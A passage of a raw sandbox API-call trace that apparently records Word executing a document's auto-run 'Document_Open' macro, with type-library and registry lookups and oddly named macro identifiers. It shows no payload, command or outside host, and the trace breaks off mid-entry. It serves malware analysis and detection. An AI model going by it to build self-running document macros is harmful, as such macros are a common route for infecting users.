pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0xc, ppFuncDesc=0x264bd0, pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae3b0, ppTypeAttr=0x264be0, pDummy=0x264c10 | out: ppTypeAttr=0x264be0, pDummy=0x264c10*=0xffffffff) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x0, ppFuncDesc=0x264bd0, pDummy=0x90 | out: ppFuncDesc=0x264bd0, pDummy=0x90) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x1, ppFuncDesc=0x264bd0, pDummy=0xf0 | out: ppFuncDesc=0x264bd0, pDummy=0xf0) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x2, ppFuncDesc=0x264bd0, pDummy=0xf0 | out: ppFuncDesc=0x264bd0, pDummy=0xf0) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x3, ppFuncDesc=0x264bd0, pDummy=0xf0 | out: ppFuncDesc=0x264bd0, pDummy=0xf0) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x4, ppFuncDesc=0x264bd0, pDummy=0xf0 | out: ppFuncDesc=0x264bd0, pDummy=0xf0) returned 0x0 [0017.464] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x5, ppFuncDesc=0x264bd0, pDummy=0xf0 | out: ppFuncDesc=0x264bd0, pDummy=0xf0) returned 0x0 [0017.465] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x6, ppFuncDesc=0x264bd0, pDummy=0xf0 | out: ppFuncDesc=0x264bd0, pDummy=0xf0) returned 0x0 [0017.465] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x7, ppFuncDesc=0x264bd0, pDummy=0xf0 | out: ppFuncDesc=0x264bd0, pDummy=0xf0) returned 0x0 [0017.465] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x8, ppFuncDesc=0x264bd0, pDummy=0xf0 | out: ppFuncDesc=0x264bd0, pDummy=0xf0) returned 0x0 [0017.465] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x9, ppFuncDesc=0x264bd0, pDummy=0xf0 | out: ppFuncDesc=0x264bd0, pDummy=0xf0) returned 0x0 [0017.465] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0xa, ppFuncDesc=0x264bd0, pDummy=0xf0 | out: ppFuncDesc=0x264bd0, pDummy=0xf0) returned 0x0 [0017.465] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0xb, ppFuncDesc=0x264bd0, pDummy=0xf0 | out: ppFuncDesc=0x264bd0, pDummy=0xf0) returned 0x0 [0017.465] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0xc, ppFuncDesc=0x264bd0, pDummy=0xf0 | out: ppFuncDesc=0x264bd0, pDummy=0xf0) returned 0x0 [0017.465] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.465] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae3b0) returned 0x0 [0017.465] IUnknown:Release (This=0x6fae3b0) returned 0x3 [0017.465] IUnknown:QueryInterface (in: This=0x6fae3b0, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2645a8 | out: ppvObject=0x2645a8*=0x0) returned 0x80004002 [0017.465] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae3b0, ppTypeAttr=0x2645a0, pDummy=0x10 | out: ppTypeAttr=0x2645a0, pDummy=0x10) returned 0x0 [0017.465] strcpy_s (in: _Dst=0x75030b0, _DstSize=0x9, _Src="Document" | out: _Dst="Document") returned 0x0 [0017.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x265400, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0017.466] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document") returned 0x30d36a [0017.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x265400, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0017.475] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document") returned 0x30d36a [0017.475] ITypeInfo:RemoteGetDocumentation (in: This=0x6fae3b0, memid=5, refPtrFlags=0x2656f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0017.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x265730, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0017.475] _mbscpy_s (in: _Dst=0x265579, _DstSizeInBytes=0x5, _Src=0x265730 | out: _Dst=0x265579) returned 0x0 [0017.475] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document_Open") returned 0x3089c1 [0017.475] IUnknown:AddRef (This=0x72d9b00) returned 0x5 [0017.475] IUnknown:AddRef (This=0x6f64030) returned 0xd [0017.475] IUnknown:AddRef (This=0x72d9dd0) returned 0x7 [0017.476] wcscpy_s (in: _Destination=0x737a3b8, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0017.476] wcsncpy_s (in: _Destination=0x2657e0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0017.476] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0017.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x265700, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0017.476] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0017.476] GetLocalTime (in: lpSystemTime=0x265b20 | out: lpSystemTime=0x265b20*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x0, wMilliseconds=0x1dd)) [0017.476] wcscpy_s (in: _Destination=0x743eeb8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library") returned 0x0 [0017.476] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x2653e8 | out: phkResult=0x2653e8*=0x5e6) returned 0x0 [0017.476] RegOpenKeyW (in: hKey=0x5e6, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x2653e0 | out: phkResult=0x2653e0*=0x5ea) returned 0x0 [0017.477] RegEnumKeyW (in: hKey=0x5ea, dwIndex=0x0, lpName=0x2653f8, cchName=0xa | out: lpName="2.6") returned 0x0 [0017.477] RegEnumKeyW (in: hKey=0x5ea, dwIndex=0x1, lpName=0x2653f8, cchName=0xa | out: lpName="2.7") returned 0x0 [0017.477] wcscpy_s (in: _Destination=0x265410, _SizeInWords=0xa, _Source="2.7" | out: _Destination="2.7") returned 0x0 [0017.477] RegOpenKeyW (in: hKey=0x5ea, lpSubKey="2.7", phkResult=0x2654c8 | out: phkResult=0x2654c8*=0x5ee) returned 0x0 [0017.477] _ultoa_s (in: _Val=0x0, _DstBuf=0x265430, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0017.477] RegOpenKeyA (in: hKey=0x5ee, lpSubKey="0", phkResult=0x265420 | out: phkResult=0x265420*=0x5f2) returned 0x0 [0017.477] RegOpenKeyW (in: hKey=0x5f2, lpSubKey="win64", phkResult=0x265428 | out: phkResult=0x265428*=0x5f6) returned 0x0 [0017.477] RegCloseKey (hKey=0x5f6) returned 0x0 [0017.477] RegCloseKey (hKey=0x5f2) returned 0x0 [0017.477] _ultow_s (in: _Value=0x0, _Buffer=0x2654d0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0017.477] RegOpenKeyW (in: hKey=0x5ee, lpSubKey="0", phkResult=0x2654a8 | out: phkResult=0x2654a8*=0x5f2) returned 0x0 [0017.477] RegQueryValueW (in: hKey=0x5f2, lpSubKey="win64", lpData=0x2654f0, lpcbData=0x2654a0 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL", lpcbData=0x2654a0) returned 0x0 [0017.478] wcscpy_s (in: _Destination=0x72f9f60, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL") returned 0x0 [0017.478] RegCloseKey (hKey=0x5f2) returned 0x0 [0017.478] RegCloseKey (hKey=0x5ee) returned 0x0 [0017.478] RegCloseKey (hKey=0x5ea) returned 0x0 [0017.478] RegCloseKey (hKey=0x5e6) returned 0x0 [0017.478] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL", pptlib=0x265af8*=0x0 | out: pptlib=0x265af8*=0x7479720) returned 0x0 [0017.478] IUnknown:AddRef (This=0x7479720) returned 0x4 [0017.478] IUnknown:QueryInterface (in: This=0x7479720, riid=0x7fef41cd2c8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265b00 | out: ppvObject=0x265b00*=0x0) returned 0x80004002 [0017.478] wcscpy_s (in: _Destination=0x74f0478, _SizeInWords=0x70, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0x0 [0017.478] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x2653e8 | out: phkResult=0x2653e8*=0x5e6) returned 0x0 [0017.478] RegOpenKeyW (in: hKey=0x5e6, lpSubKey="{0D452EE1-E08F-101A-852E-02608C4D0BB4}", phkResult=0x2653e0 | out: phkResult=0x2653e0*=0x5ea) returned 0x0 [0017.478] RegEnumKeyW (in: hKey=0x5ea, dwIndex=0x0, lpName=0x2653f8, cchName=0xa | out: lpName="2.0") returned 0x0 [0017.478] wcscpy_s (in: _Destination=0x265410, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0017.478] RegOpenKeyW (in: hKey=0x5ea, lpSubKey="2.0", phkResult=0x2654c8 | out: phkResult=0x2654c8*=0x5ee) returned 0x0 [0017.478] _ultoa_s (in: _Val=0x0, _DstBuf=0x265430, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0017.478] RegOpenKeyA (in: hKey=0x5ee, lpSubKey="0", phkResult=0x265420 | out: phkResult=0x265420*=0x5f2) returned 0x0 [0017.479] RegOpenKeyW (in: hKey=0x5f2, lpSubKey="win64", phkResult=0x265428 | out: phkResult=0x265428*=0x5f6) returned 0x0 [0017.479] RegCloseKey (hKey=0x5f6) returned 0x0 [0017.479] RegCloseKey (hKey=0x5f2) returned 0x0 [0017.479] _ultow_s (in: _Value=0x0, _Buffer=0x2654d0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0017.479] RegOpenKeyW (in: hKey=0x5ee, lpSubKey="0", phkResult=0x2654a8 | out: phkResult=0x2654a8*=0x5f2) returned 0x0 [0017.479] RegQueryValueW (in: hKey=0x5f2, lpSubKey="win64", lpData=0x2654f0, lpcbData=0x2654a0 | out: lpData="C:\\Windows\\system32\\FM20.DLL", lpcbData=0x2654a0) returned 0x0 [0017.479] wcscpy_s (in: _Destination=0x72f9f60, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\FM20.DLL" | out: _Destination="C:\\Windows\\system32\\FM20.DLL") returned 0x0 [0017.479] RegCloseKey (hKey=0x5f2) returned 0x0 [0017.479] RegCloseKey (hKey=0x5ee) returned 0x0 [0017.479] RegCloseKey (hKey=0x5ea) returned 0x0 [0017.479] RegCloseKey (hKey=0x5e6) returned 0x0 [0017.479] LoadTypeLib (in: szFile="C:\\Windows\\system32\\FM20.DLL", pptlib=0x265af8*=0x0 | out: pptlib=0x265af8*=0x747a530) returned 0x0 [0017.489] IUnknown:AddRef (This=0x747a530) returned 0x2 [0017.489] IUnknown:QueryInterface (in: This=0x747a530, riid=0x7fef41cd2c8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265b00 | out: ppvObject=0x265b00*=0x0) returned 0x80004002 [0017.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x265760, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0017.490] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document") returned 0x30d36a [0017.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x265760, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0017.498] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document") returned 0x30d36a [0017.499] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x52b0000 [0017.504] VarCmp (pvarLeft=0x7462580, pvarRight=0x7462598, lcid=0x1, dwFlags=0x30001) returned 0x0 [0017.504] VarAnd (in: pvarLeft=0x7462550, pvarRight=0x7462568, pvarResult=0x7462538 | out: pvarResult=0x7462538) returned 0x0 [0017.524] VarCmp (pvarLeft=0x7462580, pvarRight=0x7462598, lcid=0x1, dwFlags=0x30001) returned 0x0 [0017.525] VarNot (in: pvarIn=0x7462568, pvarResult=0x7462550 | out: pvarResult=0x7462550) returned 0x0 [0017.525] VarAnd (in: pvarLeft=0x7462538, pvarRight=0x7462550, pvarResult=0x7462520 | out: pvarResult=0x7462520) returned 0x0 [0017.525] VarCmp (pvarLeft=0x7462580, pvarRight=0x7462598, lcid=0x1, dwFlags=0x30001) returned 0x0 [0017.525] VarAnd (in: pvarLeft=0x7462550, pvarRight=0x7462568, pvarResult=0x7462538 | out: pvarResult=0x7462538) returned 0x0 [0017.527] VarCmp (pvarLeft=0x7462580, pvarRight=0x7462598, lcid=0x1, dwFlags=0x30001) returned 0x0 [0017.527] VarNot (in: pvarIn=0x7462568, pvarResult=0x7462550 | out: pvarResult=0x7462550) returned 0x0 [0017.527] VarAnd (in: pvarLeft=0x7462538, pvarRight=0x7462550, pvarResult=0x7462520 | out: pvarResult=0x7462520) returned 0x0 [0017.528] VarCmp (pvarLeft=0x7462580, pvarRight=0x7462598, lcid=0x1, dwFlags=0x30001) returned 0x1 [0017.528] VarAnd (in: pvarLeft=0x7462550, pvarRight=0x7462568, pvarResult=0x7462538 | out: pvarResult=0x7462538) returned 0x0 [0017.528] VarCmp (pvarLeft=0x7462580, pvarRight=0x7462598, lcid=0x1, dwFlags=0x30001) returned 0x1 [0017.528] VarNot (in: pvarIn=0x7462568, pvarResult=0x7462550 | out: pvarResult=0x7462550) returned 0x0 [0017.528] VarAnd (in: pvarLeft=0x7462538, pvarRight=0x7462550, pvarResult=0x7462520 | out: pvarResult=0x7462520) returned 0x0 [0017.529] VarCmp (pvarLeft=0x7462580, pvarRight=0x7462598, lcid=0x1, dwFlags=0x30001) returned 0x0 [0017.529] VarAnd (in: pvarLeft=0x7462550, pvarRight=0x7462568, pvarResult=0x7462538 | out: pvarResult=0x7462538) returned 0x0 [0017.529] VarCmp (pvarLeft=0x7462580, pvarRight=0x7462598, lcid=0x1, dwFlags=0x30001) returned 0x0 [0017.529] VarNot (in: pvarIn=0x7462568, pvarResult=0x7462550 | out: pvarResult=0x7462550) returned 0x0 [0017.529] VarAnd (in: pvarLeft=0x7462538, pvarRight=0x7462550, pvarResult=0x7462520 | out: pvarResult=0x7462520) returned 0x0 [0017.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0G5b6ce3b5", cchWideChar=11, lpMultiByteStr=0x265930, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0G5b6ce3b5", lpUsedDefaultChar=0x0) returned 11 [0017.530] GetLocalTime (in: lpSystemTime=0x2659e0 | out: lpSystemTime=0x2659e0*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x0, wMilliseconds=0x21b)) [0017.530] _ultow_s (in: _Value=0x5b6e3d08, _Buffer=0x74a8f64, _BufferCount=0x9, _Radix=16 | out: _Buffer="5b6e3d08") returned 0x0 [0017.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="045b6e3d08", cchWideChar=11, lpMultiByteStr=0x265960, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="045b6e3d08", lpUsedDefaultChar=0x0) returned 11 [0017.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x265790, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0017.531] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ThisDocument") returned 0x309e3c [0017.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x265560, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0017.531] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document") returned 0x30d36a [0017.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x265560, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0017.540] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document") returned 0x30d36a [0017.540] IUnknown:AddRef (This=0x6fae3b0) returned 0x6 [0017.540] IUnknown:Release (This=0x6fae3b0) returned 0x5 [0017.540] IUnknown:AddRef (This=0x72d9b00) returned 0x5 [0017.540] IUnknown:AddRef (This=0x6f64030) returned 0xd [0017.540] IUnknown:AddRef (This=0x72d9dd0) returned 0x7 [0017.541] wcscpy_s (in: _Destination=0x737a3b8, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0017.541] wcsncpy_s (in: _Destination=0x2652c0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0017.541] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0017.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x2651e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0017.541] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0017.541] IUnknown:AddRef (This=0x7479720) returned 0x4 [0017.541] IUnknown:AddRef (This=0x747a530) returned 0x2 [0017.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="plaque") returned 0x10482a [0017.541] strcpy_s (in: _Dst=0x265530, _DstSize=0x7, _Src="plaque" | out: _Dst="plaque") returned 0x0 [0017.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265530, cbMultiByte=7, lpWideCharStr=0x265390, cchWideChar=7 | out: lpWideCharStr="plaque") returned 7 [0017.541] IUnknown:AddRef (This=0x72d9b00) returned 0x6 [0017.541] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="plaque", lHashVal=0x10482a, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.541] IUnknown:Release (This=0x72d9b00) returned 0x5 [0017.541] IUnknown:AddRef (This=0x6f64030) returned 0xe [0017.541] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="plaque", lHashVal=0x10482a, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.541] IUnknown:Release (This=0x6f64030) returned 0xd [0017.541] IUnknown:AddRef (This=0x72d9dd0) returned 0x8 [0017.541] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="plaque", lHashVal=0x10482a, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.541] IUnknown:Release (This=0x72d9dd0) returned 0x7 [0017.541] IUnknown:AddRef (This=0x7479720) returned 0x5 [0017.541] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="plaque", lHashVal=0x10482a, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.541] IUnknown:Release (This=0x7479720) returned 0x4 [0017.542] IUnknown:AddRef (This=0x72d9b00) returned 0x6 [0017.542] IUnknown:AddRef (This=0x6f64030) returned 0xf [0017.542] IUnknown:AddRef (This=0x72d9dd0) returned 0x8 [0017.542] IUnknown:AddRef (This=0x7479720) returned 0x5 [0017.553] IUnknown:Release (This=0x6fae300) returned 0x2 [0017.553] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="acknowledgment") returned 0x101c9b [0017.553] strcpy_s (in: _Dst=0x265530, _DstSize=0xf, _Src="acknowledgment" | out: _Dst="acknowledgment") returned 0x0 [0017.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265530, cbMultiByte=15, lpWideCharStr=0x265390, cchWideChar=15 | out: lpWideCharStr="acknowledgment") returned 15 [0017.553] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0017.553] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="acknowledgment", lHashVal=0x101c9b, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.553] IUnknown:Release (This=0x72d9b00) returned 0x6 [0017.553] IUnknown:AddRef (This=0x6f64030) returned 0x10 [0017.553] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="acknowledgment", lHashVal=0x101c9b, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.553] IUnknown:Release (This=0x6f64030) returned 0xf [0017.553] IUnknown:AddRef (This=0x72d9dd0) returned 0x9 [0017.553] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="acknowledgment", lHashVal=0x101c9b, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.553] IUnknown:Release (This=0x72d9dd0) returned 0x8 [0017.553] IUnknown:AddRef (This=0x7479720) returned 0x6 [0017.553] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="acknowledgment", lHashVal=0x101c9b, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.553] IUnknown:Release (This=0x7479720) returned 0x5 [0017.553] IUnknown:Release (This=0x6fae300) returned 0x2 [0017.553] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document_Open") returned 0x1089c1 [0017.553] strcpy_s (in: _Dst=0x265530, _DstSize=0xe, _Src="Document_Open" | out: _Dst="Document_Open") returned 0x0 [0017.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265530, cbMultiByte=14, lpWideCharStr=0x265390, cchWideChar=14 | out: lpWideCharStr="Document_Open") returned 14 [0017.553] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0017.553] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="Document_Open", lHashVal=0x1089c1, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.553] IUnknown:Release (This=0x72d9b00) returned 0x6 [0017.553] IUnknown:AddRef (This=0x6f64030) returned 0x10 [0017.553] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="Document_Open", lHashVal=0x1089c1, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.553] IUnknown:Release (This=0x6f64030) returned 0xf [0017.553] IUnknown:AddRef (This=0x72d9dd0) returned 0x9 [0017.553] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="Document_Open", lHashVal=0x1089c1, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.553] IUnknown:Release (This=0x72d9dd0) returned 0x8 [0017.553] IUnknown:AddRef (This=0x7479720) returned 0x6 [0017.553] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="Document_Open", lHashVal=0x1089c1, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.553] IUnknown:Release (This=0x7479720) returned 0x5 [0017.554] IUnknown:Release (This=0x6fae300) returned 0x2 [0017.554] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document") returned 0x30d36a [0017.554] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Open") returned 0x300767 [0017.554] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="seminary") returned 0x101c64 [0017.554] strcpy_s (in: _Dst=0x265530, _DstSize=0x9, _Src="seminary" | out: _Dst="seminary") returned 0x0 [0017.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265530, cbMultiByte=9, lpWideCharStr=0x265390, cchWideChar=9 | out: lpWideCharStr="seminary") returned 9 [0017.554] IUnknown:AddRef (This=0x72d9b00) returned 0x7 